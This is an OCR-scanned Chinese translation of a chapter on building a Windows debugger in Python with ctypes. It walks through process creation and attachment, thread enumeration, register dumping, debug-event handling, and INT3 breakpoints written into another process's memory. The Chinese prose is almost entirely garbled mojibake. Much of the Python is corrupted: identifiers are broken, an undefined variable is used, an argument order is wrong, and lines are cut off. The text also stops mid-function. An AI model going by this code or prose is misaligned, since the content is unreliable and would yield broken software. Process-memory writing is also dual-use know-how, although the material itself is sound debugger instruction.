R [1%: 2] PyDbg(Pedram Amini” s )IF{FH, X )& H AT REH B 5 775 1) Windows P&
[’] Python #iik#s . FF Pedram fifl¥, FISnJHEH PyDbg 5¢ i T I CRLFERR 4, A%
i, F5), [RINRE AT LA S i A PyDbg SEELAR ) 14 -

N TR AERERAT I, IR S AU — L vt A A R R ok . TR, 3R
TR ZEA RS2 — A T AT R PR G 84T, EAR L& SSBm 2]— AN 17
HIEERE . Windows I8 #2211 (Windows debugging AP1) 24t T —AN|E 5 /] B 7 v 58 1%

IBAT AR R AN — AR A AN 2250 o $T0T — SRR IR i AR T A REAE R P is
ATAEATACHE i 58 A R BIRE P o IXAE 23T 08 B B0 R A QRS (R AR H A o BEIn ) —A4
R, UBGEIRATIEEAN A D g qT TR N, B RVHRBEIL A s AR, A
PRIBEGER (AR o AR IEAE 70 M A7 R At R R e R IEAE AT 3 5

Pk, e WA A S T XA R A0S SRS, % B it A2
I HIRR B KD . 7E Windows _E @l — ANt FEH] CreateProcessA() BRI AL K4F 28 (MR A%
HEIXA KL, A1 H AR R RS B IR, — A CreateProcessA() Vi I 7 12 K AR Y«

BOOL WINAPI CreateProcessA(
LPCSTR IpApplicationName,
LPTSTR IpCommandLine,
LPSECURITY_ ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
BOOL blnheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR IpCurrentDirectory,
LPSTARTUPINFO IpStartuplnfo,
LPPROCESS INFORMATION IpProcessInformation



);

WG XA AR R, AN, E308 ) TR b JRAT T 20T K FR 0 23 70 8 ke /N B 78 2 BAEE
B, REHAMARLAERKSPUE PAERFEEENS L. RESH L
IpApplicationName,lpCommandLine,dwCreationFlags,IpStartupInfo, #1 lpProcessInformation .
RIS HOT UL BCE B (NULL ) o RT3 e 5 PEAT iR ] LA A MSDN (iR 2 %%
LI AT PN SEON TicE, 75 Z AT IR B AR M IRAT A AL B 245 R P 1K 2
47, dwCreationFlags (G ARiIC) SEEEZ —AMFFE E, RRIRANTA BT LA IRPIR
R . RS Z % a4 W [ 2 A 4 H (STARTUPINFO  and
PROCESS_INFORMATION), AMVALE 7wl 53, LRI ERTEFEZ ELEEE .

( IpStartupInfo : STARTUPINFO &5 ¥, H] - 76 € & 1 ¥ B i 8 & 2% A0 &g 1%
IpProcessInformation: PROCESS INFORMATION 454, HRAEEREA] a5 H A G =
ZE M RGIAE )

B Python SCF my debugger.py Al my debugger defines.py . A 1H Gl — Ak
debugger() #5745 B W (1) 3G o0 & Fh KR 2. S 4h, ITAME W, BEA, W EIIE
my_debugger defines.py 77l LLJ5 4E4 .

# my_debugger_defines.py
from ctypes import *
# Let's map the Microsoft types to ctypes for clarity

WORD = ¢_ushort

DWORD =c_ulong

LPBYTE = POINTER(c_ubyte)
LPTSTR =POINTER(c_char)
HANDLE =c void p

# Constants

DEBUG PROCESS = 0x00000001
CREATE _NEW_CONSOLE = 0x00000010
# Structures for CreateProcessA() function
class STARTUPINFO(Structure):

_fields =
("cb", DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", DWORD),
("dwyY™", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),

("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute",DWORD),

("dwFlags", DWORD),
("wShowWindow", = WORD),



("cbReserved2",  WORD),
("lpReserved2", LPBYTE),

("hStdInput", HANDLE),
("hStdOutput", ~ HANDLE),
("hStdError", HANDLE),

]
class PROCESS INFORMATION(Structure):

_fields_ =[
("hProcess", HANDLE),
("hThread", HANDLE),

("dwProcessld", DWORD),
("dwThreadld", DWORD),

# my_debugger.py
from ctypes import *
from my debugger defines import *
kernel32 = windll.kernel32
class debugger():
def init_ (self):
pass
def load(self,path_to_exe):
# dwCreation flag determines how to create the process
# set creation_flags = CREATE NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS INFORMATION()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo.dwFlags =0x1
startupinfo.wShowWindow = 0x0
# We then initialize the cb variable in the STARTUPINFO struct
# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path _to exe,
None,
None,
None,
None,



creation_flags,

None,

None,

byref(startupinfo),

byref(process_information)):
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld

else:

print "[*] Error: 0x%08x." % kernel32.GetLastError()

PUAEFRAT R R — A i L A I A i — & — DDA RELE W AT . I H] my _test.py, f&
U 1 SCPFARSPER] A H %R

#my_test.py

import my_debugger

debugger = my_debugger.debugger()
debugger.load("C:\WINDOW S\\system32\\calc.exe")

WURAR SIS 2 AT 8 IDE Fahf A BT AR, K28 A — ARl R
ANFEFP44, SRJGIRMIUERE ID (PIDD, #RJa45 W WRUR LIIIF] 1 cale.exe, 1R¥EHAF]
THEALAS IR B S o DR R A S h 2 B R s b, e AR A5 R 2R Ak BT W
%o RRIRA VR BE LM AR LEIAT T L T o ALAEXZAT, AL B T W] =4 — DR
TR, BAEEATSIEH S — N Thag, B2 — AN EAE IS AT I HERE .

T IR E IBERE , Wi UGS B R AR . V22 S THURE I 21 Y o8 2008 5 2 ) At
ZH, RN FRAT R e AE IR AT A A S A AR e Cn R I AAT, S5 1),
IXAMT55 H OpenProcess() 5t/ MLEREH kernel32.dll FE(SIH, JRALUNTTR
HANDLE WINAPI OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle

DWORD dwProcessld

dwDesiredAccess Z ¥R T A1 BN ZEFT TT BRI AT A FE AR (488 42
i K B I root is hack ) . Hh BEEHAT WA, FRATT K E B PROCESS_ALL ACCESS
bInheritHandle 2415 & fi{ False, dwProcessld 40 & AN 145 3SR ERE 1D, th
AL AT TRIARAF ) PID . A R eR A D AT, R IR [l H AR HERE I A4

$2 N K H DebugActiveProcess() B8 £ B n 1 H brk e -
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessld

)

T a BN PID A2 N o — BARGEIN N BA AT BUR 5 o) HARRERE, H bRRERE st e 3



AT R O 2o A PR A, ARG U RE RE A3 IR B 25 T s o Tl G TR A
i H WaitForDebugEvent() LAMEAE SR AFAF . s AT
BOOL WINAPI WaitForDebugE vent(

LPDEBUG_EVENT IpDebugEvent,

DWORD dwMilliseconds

FH—ANSHF81n DEBUG_EVENT 254y, IXAghiffiiid 7 — MR F . 56 S H0k
B INFINITE CEPRZE4), iXAE WaitForDebugEvent() stANHiR[A, —H&4H S| — D3
Hr=As,

VRSl 2 (0 sk — AN O AT A ORI S A 3 o 20, 7R 4k S AT 1T PT LA 58 AN [
B AE o b PR B8 BT R AR, FRAT A B R R 4K 2L AT AT, XN i 1 T
ContinueDebugEvent(). JR U1 F:

BOOL WINAPI ContinueDebugEvent(

DWORD dwProcessld,

DWORD dwThreadld,

DWORD dwContinueStatus

dwProcessld F1 dwThreadld 2% i DEBUG EVENT £y B (3978, i 2l 4
PR AER I, k& WaitForDebugEvent() il AT B 5, BEFE 1D FIZEFE 1D gl LA
LAIALS T - dwContinueStatus 2% 7 JrBEFEIE 4RELIN AT (DBG_CONTINUE), i~/ 5%
#(DBG_EXCEPTION NOT HANDLED).

FE —PRsefi, MERESr B ok fURERE ID 4445 DebugActiveProcessStop().

IAERA X LS, P RERAI my debugger 25, iLABHIA BN 4 25—
R D fige [FII N BT I — N BERERRAFRERE ORI ) B8 ) o d50 )5 AETAT T PR B 58 e o
AL PR %, FTF my debugger.py B A LA R AL,

W i TSk BEG IR B E XAE T debugger defines.py SCPEHL, 584405 7]
PLA http://www.nostarch.com/ghpython.htm F %%,

#my_debugger.py

from ctypes import *

from my debugger defines import *

kernel32 = windll.kernel32

class debugger():

def init_ (self):

self.h_process = None
self.pid = None



self.debugger active = False
def load(self,path_to_exe):

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
# Obtain a valid handle to the newly created process
# and store it for future access
self.h_process = self.open_process(process_information.dwProcessld)

def open_process(self,pid):
h_process = kernel32.0OpenProcess(PROCESS _ALL ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid):
self.debugger active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process."
def run(self):
# Now we have to poll the debuggee for
# debugging events
while self.debugger active == True:
self.get debug_event()
def get debug_event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self.debugger active = False
kernel32.ContinueDebugEvent( \
debug_event.dwProcessld, \
debug_event.dwThreadld, \
continue_status )
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True



else:
print "There was an error"

return False

PUAELEFRATE ST DIEE A LUASE A6 B 6132 ) R 2
#my_test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.detach()
LU R P BRUEAT I (windows T):
L ke THR->1817 > P> A>T 5 3
2. Al s AR AT S5 A, AR H RS S B AT 25 B2
3L FEHERE AR,
4WMAAREE S| PID £, 1%+ &F->ik$ES)
5. AR BERE AR IRAT (PID) AT AR ME 2L, AR5 il OK.
6.3k 2 calc.exe AHICHEH PID
74047 my_test.py [A]IN AT I $R ) PID A&#45 ¢ .
8.4 Press a key to continue...¥] EIAEFERE LRI, A5 #AE vF A8 10 AL o IRV AT 4 B
AT o ARy R T, S pdt— PR,
9AEPRH) Python 42 & FLAZATATHIBE, ARG 0] i15 B, AR IS4
10.IUAEARBE S ARAT VI 545 T

UR DV 2R 1 — PR IE R AT, 48 R IRPIAT A my_debugger.py HiEREH

# raw_input("Press any key to continue...")
# self.debugger active = False

WAETRATT O UHE 1 SRIBCIERE AT AR SR, DUR A @ — AR, B n—"Nistr
FIHERE, 3 T oRAETRAIG T S8 A 2 I T R

3.2378 CPU HHEERRE

— MRS L I BB AT AT AT I AR EE 2] CPU 1 & A AR IR . 5 R AR I
X e BATHEAMPIRE,  HATIEERAT R4, DL — 2R3 A 1 A
FPUXAH I, B PG ERIA 1 H br R I RE R, XA g OpenThread()sk Bl
PR AR QR

HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL blnheritHandle,



DWORD dwThreadld
)

ZFEFEKAFH 1B OpenProcess()FIAHLA &£, FR T3 E HIZ R PR IRAT (thread identifier TID)
P2 T HERRFR AT (PIDD.

A VA SERAF— DN PATH IFET NPT A L FE ) — AR, SRS IR AT TR, 7F
M OpenThread() 3k HX ‘& 9 A0 W o ik TWFF0 R WAl 75 — A R % B 26 FE (Cenumerate
threads ).

3.2.1 W ES LR T2

HTAFEN AR LA AR IPIRES, FRAT T UM SR T A IEAE IS AT ISR . Zefd
SERERE TP ROERIPAT AR CRESME R T 0D, B — MR ALZ &R, ElEd
AR, FER. X DiEer 2 — K R 2L CreateToolhelp32Snapshot(), ‘& H
kernel32.d1l F o XA ELREMAS ) — D ERE N IRPT A 2R 513, BUINERI B (DLLs)
BN, DARGHERE T R HER A2 . pR B G
HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags,

DWORD th32ProcessID

dwFlags Z4ibris T AT ZORCE AR Y (e, abfE, B, BiEdE). XK
AT ¥ E i TH32CS_SNAPTHREAD, /2 000000004, H 7= FATE A4tk snapshot
HETH CEEM T K FE . th32ProcessID f& AN F AT B R 3 F2 , A e B Xt
TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and
TH32CS_SNAPALL X JLAMEEAT FH ,6F TH32CS_SNAPTHREAD w] &% A4 FH Mk (s T
HUHH) . 2 CreateToolhelp32Snapshot() i H &, Bt iR ARG R AW, BT
P OEEASIDRC L U AL/

— H AT BRI sk A T R R S 2R, RATTRBE
Thread32FirstOM A5 &A1 T« BRAEURBUIF

BOOL WINAPI Thread32First(

HANDLE hSnapshot,

LPTHREADENTRY32 Ipte
);

hSnapshot it J& I 1fil il i CreateToolhelp32Snapshot() 3k 15 5% 1% A i, Ipte #i7 In] — 4>
THREADENTRY?32 4544 CZRIHED o XS5 H7E Thread32First()/E 1 HH L5 B 31
7, S T ORI S — N R AR S B o Sk LR

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;



DWORD th32ThreadlD,;
DWORD th320wnerProcessID;
LONG tpBasePri;

LONG tpDeltaPri;

DWORD dwFlags;

TEIXA G ) RATT IS R 1) )& dwSize, th32ThreadID, FiI th320wnerProcessID 3 >S4,
dwSize W Zi7E Thread32First()ii H 2 BT 4Rk, H A 35 )% THREADENTRY32 45411
KA LT o th32ThreadID 5 A1 = i AL AIX AL RE ) TID, 3XASZ AL AT LU it L
) OpenThread() BRECIH LLFT T ZeRE, BEATH44F . th320wnerProcessID H 78 | 4 i
SREEUEREM PID. K Vg ETE T RAP X H xR, &K
th320wnerProcessID [FMELAT H ARERENT L, ARSI i3 B AN A R FRATIEAE R . —H3k
TR 73— AN ERERE B, FRAT AW Thread32Next() KRR (1) — N2 4%
o 1240 Thread32First()—FE. JEFF] Thread32Next() £ FI513 (f A

322 fEFARAEER

AR OGRS T — ARG AW, G — 2 3R IRIUIT A %7 A e X
BT GetThreadContext()K LI . [FIFEFRATTHAEH SetThreadContext() A 4]

BOOL WINAPI GetThreadContext(

HANDLE hThread,
LPCONTEXT IpContext

);

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT IpContext

);

hThread Z#/& M OpenThread() & [H] ()L FEAJAH, IpContext $5[7]— 1~ CONTEXT 4it4),
A4 T T SAEAS A . CONTEXT dEH B8, & R

typedef struct CONTEXT {

DWORD ContextFlags;
DWORD Dr0;
DWORD Drl;

DWORD Dr2;



DWORD  Dr3;

DWORD  Dr6;

DWORD  Dr7;
FLOATING_SAVE_ AREA FloatSave;
DWORD  SegGs;

DWORD  SegFs;

DWORD  SegEs;

DWORD  SegDs;

DWORD  Edi;
DWORD  Esi;
DWORD  Ebx;
DWORD  Edx;
DWORD  Ecx;
DWORD  Eax;
DWORD  Ebp;
DWORD  Eip;

DWORD  SegCs;

DWORD  EFlags;

DWORD  Esp;

DWORD  SegSs;

BYTE ExtendedRegisterss MAXIMUM_SUPPORTED EXTENSION];

IR I BT AT R A A s B AR A FIR P T, SIS A A7 2 BT A7 A o ZETRATTHR T 1)
A, KR BN, BT DU R RS 21K o

R RATBRE B RATIE MK my_debugger.py 4kEE4 e, HEIMMZS L FEFI SR &5 47
A ZhEE -

#my_debugger.py
class debugger():

def open_thread (self, thread id):
h_thread = kernel32.0penThread(THREAD ALL ACCESS, None,
thread id)
if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
def enumerate_threads(self):
thread entry = THREADENTRY32()
36 Chapter 3



thread list =[]
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,
byref(thread entry))
while success:
if thread_entry.th320wnerProcessID == self.pid:
thread list.append(thread entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get thread context (self, thread _id):
context = CONTEXT()
context.ContextFlags = CONTEXT FULL | CONTEXT DEBUG_REGISTERS
# Obtain a handle to the thread
h_thread = self.open_thread(thread id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h thread)
return context
else:

return False

PR Dy e, A BA TP G B D hE .

#my_test.py

import my_debugger

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

list = debugger.enumerate _threads()

# For each thread in the list we want to

# grab the value of each of the registers

Building a Windows Debugger 37

for thread in list:
thread context = debugger.get thread context(thread)
# Now let's output the contents of some of the registers



print "[*] Dumping registers for thread ID: 0x%08x" % thread
*] EIP: 0x%08x" % thread context.Eip
ESP: 0x%08x" % thread context.Esp
EBP: 0x%08x" % thread context.Ebp
EAX: 0x%08x" % thread context.Eax
EBX: 0x%08x" % thread context.Ebx
print "[**] ECX: 0x%08x" % thread context.Ecx
print "[**] EDX: 0x%08x" % thread context.Edx
print "[*] END DUMP"
debugger.detach()

print "[*

print "[**
print "[**
print "[**

print "[**

—_— e e e e e

ARIZAT A, ORHE T B L 3-1 Bas i) Kol .

Enter the PID of the process to attach to: 4028

[*] Dumping registers for thread ID: 000000550
[**] EIP: 0x7¢90eb94

[**] ESP: 0x0007fde0

[**] EBP: 0x0007fdfc

[**] EAX: 0x006ee208

[**] EBX: 0x00000000

[**] ECX: 0x0007fdd8

[**] EDX: 0x7¢90eb94

[*] END DUMP

[*] Dumping registers for thread ID: 0x000005c0
[**] EIP: 0x7¢95077b

[**] ESP: 0x0094ftf8

[**] EBP: 0x00000000

[**] EAX: 0x00000000

[**] EBX: 0x00000001

[**] ECX: 0x00000002

[**] EDX: 0x00000003

[*] END DUMP

[*] Finished debugging. Exiting...

Listing 3-1: 5 AN (1) CPU A7 83H

KRBT BATBUE BEVS FEAT Nk BT AT A28 RS T 58 B AR W2t ie, 55

REAF R A G R BN 1B TRATE 20 58 1 1 FA T Bl AR o 2, S I T S B — ST it
WP B T

3.3 LU RAE A



h T AR FRATI IR 25 B8 08 ST R R (1 S R IOH N IAT By, BT A4 BT A TR AR R
TR R F A, S A L. W XA E WaitForDebugEvent() pR%L, F49EHifes]—
AR GEAF A%, HUR Pl ANEFE U T ) DEBUG_EVENT £5#4. 2 B A 148 200 fi iX A~
ghH, HE R RRAR SEPAT T 22, DUAE BTV P AT At 0 450 LI R e s 2 oAb B 1
DEBUG_EVENT & X @i I

typedef struct DEBUG_EVENT ¢{

DWORD dwDebugEventCode;

DWORD dwProcessld;

DWORD dwThreadld;

union {
EXCEPTION_DEBUG_INFO Exception;
CREATE THREAD DEBUG INFO CreateThread;
CREATE_PROCESS DEBUG_INFO CreateProcessInfo;
EXIT THREAD DEBUG INFO ExitThread;
EXIT PROCESS DEBUG INFO ExitProcess;
LOAD DLL DEBUG INFO LoadDll;
UNLOAD DLL DEBUG INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO Riplnfo;

u;

FERXA G P AT IR 245 HI 1045 .. dwDebugEventCode f& fic L[], ‘&R W] T ieAasH
4% WaitForDebugEvent() ffi#23] 1o RNy 7, FEHCE (union yu FAFAE ) AT A KA
FIfE . u HLAA8 5 ) dwDebugEventCode ¥, — X N4l F:

Event Code Event Code Value Union u Value

0x1 EXCEPTION_DEBUG_EVENT u.Exception

0x2 CREATE_THREAD DEBUG_EVENT u.CreateThread

0x3 CREATE PROCESS DEBUG _EVENT u.CreateProcessInfo
0x4 EXIT THREAD DEBUG_EVENT u.ExitThread

0x5 EXIT PROCESS DEBUG_EVENT u.ExitProcess

0x6 LOAD DLL DEBUG_EVENT u.LoadDIl

0x7 UNLOAD DLL DEBUG _EVENT u.UnloadDIl

0x8 OUPUT_DEBUG_STRING_EVENT u.DebugString

0x9 RIP_EVENT u.RipInfo

Table 3-1: il F4:

Wit W% dwDebugEventCode [FI{H , PRl b i 1 5t e 2 5 AN N RAFEAE u B
A . AR FRATE SOR B, I SRAT B ARSI, B i R AR E R . X
UEAE R, IRATREW TR B R ES 0 B EE M AN RS A TR . 4R SRR
my_debugger.py Al our my_test.py JHIA,



#my_debugger.py
class debugger():

def init_ (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None

def get_debug_event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE

# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThread
self.context = self.get thread context(self.h thread

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThre
kernel32.ContinueDebugEvent(
debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )
#my _test.py
import my_debugger
debugger = my debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()

WA /2 cale.exe, % HUKE 4 R FTR:
Enter the PID of the process to attach to: 2700
Event Code: 3 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976



Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
4 Thread ID:

3976
3976
3976
3976
3976
3912
3912
3912

Listing 3-2: 4 I3 cacl.exe B [ FA-AHS

T AR, FA165 2 CREATE PROCESS EVENT (0x3) $F & 55— KR A1),
B F kM & — M ) LOAD DLL DEBUG EVENT (0x6) H ff , R J5
CREATE THREAD DEBUG EVENT (0x2) fil & — 4~ ¥ & & . % & st £ — &
EXCEPTION_DEBUG_EVENT (0x1)#4M g4, ‘&t windows ¥ & T s 51 & 1, V(e
HEREE s MR RIR A . B — N i & EXIT_THREAD DEBUG_EVENT (0x4), ‘&
FIERE 3912 &5 L & 774

BN AR, BIAN T RECLHRWT AL, Vi S, B0 AR U AR (B2
BN T XS aRE R, (HR iR IR S Sl HE 25 — A windows ¥ B 1)
Wr s . #7JF my debugger.py MIALLFARAD:

#my_debugger.py
class debugger():

def init_ (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

def get debug_event(self):
debug_event =DEBUG_EVENT()

continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadld)

self.context = self.get thread context(self.h thread)



print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION DEBUG_EVENT:
# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord. ExceptionCod
self.exception_address =
debug_event.u.Exception.ExceptionRecord. ExceptionAdd
if exception == EXCEPTION_ ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler breakpoint()
elif ec == EXCEPTION GUARD_ PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_ SINGLE_ STEP:
print "Single Stepping.”
kernel32.ContinueDebugEvent( debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )

def exception_handler breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" %
self.exception_address
return DBG_CONTINUE

WIARARFDFHSATIXAIA, K575 2l A E W i) 525 AR B R BT ED I i 45 2R . Al 12
oA T AR W SR N A TR AR B o B R B ATT AR A SR = P AN R S W s
VISZIESE I8
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341 AN A

H T BCE AR R, FRATT A 20 RE B R 2R B ON H bR 3E I N AE
ReadProcessMemory() Al WriteProcessMemory() S8 " AT & AR -

BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesRead
);
BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPCVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytes Written

XA bR E A o VE R G 2 0 5 AN T R K i) 2 R I N A . S B AR R
IpBaseAddress & T U5 sk 8l 5 L6 1) H b bk, IpBuffer fi5 ) — &2 X, H R
IpBaseAddress i H () %4 8L # 5 A IpBaseAddress . nSize & AR % i 5 1) $ 4l K,
IpNumberOfBytesWritten H1 RS, 38 i & FAT ik GRS ANl — B4 )5 SEBR S T (104

Hio

DUAELEFRATRY R S S B AW s A 2 A 5 T BRSO IR0 3R, ISR BB A

Ak BB AT W 5o
#my_debugger.py

class debugger():
def init_ (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}

defread process_memory(self,address,length):

data ="

read_buf = create_string_buffer(length)

count =c_ulong(0)



if not kernel32.ReadProcessMemory(self.h_process,
address,
read_bulf,
length,
byref(count)):

return False

else:
data +=read_buf.raw
return data
def write_process memory(self,address,data):
count =c_ulong(0)
length = len(data)
¢_data =c_char p(data[count.value:])

if not kernel32. WriteProcessMemory(self.h_process,

address,
¢ _data,
length,
byref(count)):
return False
else:
return True

def bp_set(self,address):
if not self.breakpoints.has_key(address):
try:
# store the original byte
original byte = self.read process_memory(address, 1)
# write the INT3 opcode
self.write_process_memory(address, "\x CC")
# register the breakpoint in our internal list
self.breakpoints[address] = (address, original byte)
except:
return False
return True

IAE VRS & SRR WT AT T, AR A B S — MR G WS R E A
BRBCRH T, T IR
Sy, FRATIRIT A printfO) VF K B ARG H bR e85 . Windows IR APL 4t T #i1
5L LA e — AR M hE,  GetProcAddress(), [AIFEHE &M kernel32.d1l1 5 Hf#) . XA
PR B S HOE — B (—AS dll BE—A
exe SCIF) A, BEderh— MRS T PRATTER DRI R 2L
Al Ll i GetModuleHandle() SR AR ER (R A 40 o SR



FARPROC WINAPI GetProcAddress(

HMODULE hModule,
LPCSTR IpProcName

);

HMODULE WINAPI GetModuleHandle(
LPCSTR IpModuleName

);

IXJE— /MW B A —ANBIR A, AR5 B R N T R OGER (1Y) R U Hb
hbo RTINS, SERNIA . 12 my debugger.py..

my_debugger.py
class debugger():

def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA (dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)
return address

PUAE B S AR, BRI printf(). BA PRI ) e& Ko st ik,
SRJEAEIX A EBEE AW R Z R WA, mRER WAt AR, e e R
AREPATIA . BUEE—ASFTH Python A printf loop.py, HiA T LS.

#printf_loop.py

from ctypes import *

import time

msvert = cdll.msvert

counter = 0

while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1

PRAESEHT AR, B 23RS, 76 printf() b E W7 5.

#my_test.py

import my_debugger

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf _address = debugger.func_resolve("msvert.dll","printf")
print "[*] Address of printf: 0x%08x" % printf address



debugger.bp_set(printf address)
debugger.run()

WAE TG IAR, ZE Ay 247 HLIZAT printf loop.py. M\ Windows 1T- 555 Bt 25 HL 3K #4 python.exe
) PID. #RJ5121T my_testpy » BN PID. VRKEEE W Hr5H

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a
[*] Setting breakpoint at: 0x77c4186a

Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code
Event Code

: 3 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 6 Thread ID:
: 2 Thread ID:
: 1 Thread ID:
[*] Exception address: 0x7¢901230

3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3620
3620

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a
[*] Hit user defined breakpoint.
Listing 3-3: AL PLACAF W7 i Fo4 (1 SR I

AT S F 2 printf() (1) & B HEAE 0x77c4186a, R AE X TR E I . S — ANl 3]
(1) 5 A H Window's ¢ 8 1 W7 s fis R 10 o 28 A i AR IR kA 0x 77041 86a, 3l 72 printf()
PRECI L. WT AR BE S, R K SRR . IAEBRATI RS D SRR AT A, BN
AR AE T T .
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55 AP SR AY T SO AR AT A, I BCE AR N CPU AR AE A RS, AT EZ
AU CRVEANUHE TR, Bk BRI S EAT. A — MR EE G2, 4
FRATIASE I AEAF-Dhfr o ) I 2 RS DU AN 7T AR T3 A7 s A 2w WA A 10 2
U R FRATTAE P RIS 25 A2 a2 2 1, A5 MRS T AN BE AE FRAN 170 B2 A 1 7 Ak &z

AR HERE A BT 2o, ARG SRICEANT CPU 45 DL Sl 73 2 I A5
UL, 3AITREWS & 3¢ DRO # DR3
TAEARIIL R —AS, Abe R H bW Sl . 2 JEIRATTAE DRT A7 A7 s RAH R (R 4671 5 2 I
MR PR .

BCEWR AR Z BT SR8 T, T SR E S B R S TR 2, AR
g b TR P A DT S AR S o FRAT TN AR T b INT T (R 2 A A1), i AR ATl
SUEE 2 R 0 5y — > 5 i AR B e B R O A o LR FRATT U T A
#my_debugger.py

class debugger():
def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True

self.hardware _breakpoints = {}

defbp_set hw(self, address, length, condition):
# Check for a valid length value
if length not in (1, 2, 4):
return False
else:
length =1

# Check for a valid condition
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):
return False

# Check for available slots

if not self.hardware breakpoints.has_key(0):
available = 0

